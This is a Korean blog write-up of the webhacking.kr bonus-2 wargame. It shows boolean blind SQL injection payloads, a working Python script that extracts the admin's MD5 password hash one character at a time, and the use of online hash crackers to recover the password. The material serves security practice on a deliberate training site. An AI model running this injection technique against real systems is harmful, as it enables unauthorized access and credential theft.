mission: login as admin
<테스트케이스1>
username: test
password: 1234
<join 후 login 결과>
hash코드가 32자리 인것을 보아 md5암호문 같다.
md5복호화를 해보자
(대부분의 사이트가 에러가 뜬다. 밑의 사이트를 이용하자)
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack
crackstation.net
복호화 결과: 1234apple
아마 hash코드는 '입력받은 pw'+'apple'을 md5 암호화 해서 만든 것 같다.
그럼 이제 admin의 hash코드를 알면 문제를 풀 수 있다.
blind sql injection을 해보자
<test'and'1'='1'#>
<test'and'1'='2'#>
and문을 이용해서 참과 거짓을 알아내는 것이 좋은 것 같다.
uesrname: test'and+조건문 이라고 할 때,
조건문이 참이면 Wrong password라고 뜨고, 거짓이면 login fail이 뜬다.
그럼 이전에 만들었던 것으로 테스트를 해보자
id: test
pw: 325f7e02fa1f90826b88114be7fd3f9c(해시코드)
<참>
<거짓>
이제 파이썬으로 admin의 hash코드를 알아내보자.
import requests
headers={'PHPSESSID':'쿠키값'}
url ="https://webhacking.kr/challenge/bonus-2/"
length=32#hash는 32자리
hash= ""
for i in range(1, length+1):
for j in range(48, 122):#숫자부터 소문자z까지
search_str="admin'and substr(pw,"+str(i)+",1)='"+chr(j)+"'#"
print("search_str(uuid): "+search_str)
datas={'uuid':search_str, 'pw':'12'}
r= requests.post(url, headers=headers, data=datas)
if r.text.find("Wrong password!") !=-1:
hash+=chr(j)
print("hash: "+hash)
break
hash: 6C9CA386A903921D7FA230FFA0FFC153
아까 쓴 사이트에서 복호화를 시도했는데 실패가 떳다.
다른 사이트에서 시도해보면 된다.
여기서 시도 --> https://www.md5online.org/md5-decrypt.html
결과: wowapple
id:admin
pw: wow
로그인해보자
성공!!
'보안 공부 > webhacking.kr' 카테고리의 다른 글
webhacking.kr 12번 풀이 (0) | 2022.01.21 |
---|---|
webhacking.kr 60번 풀이 (0) | 2022.01.21 |
webhacking.kr 44번 풀이 (0) | 2022.01.21 |
webhacking.kr 34번 풀이 (0) | 2022.01.19 |
webhacking.kr 29번 풀이 (0) | 2022.01.17 |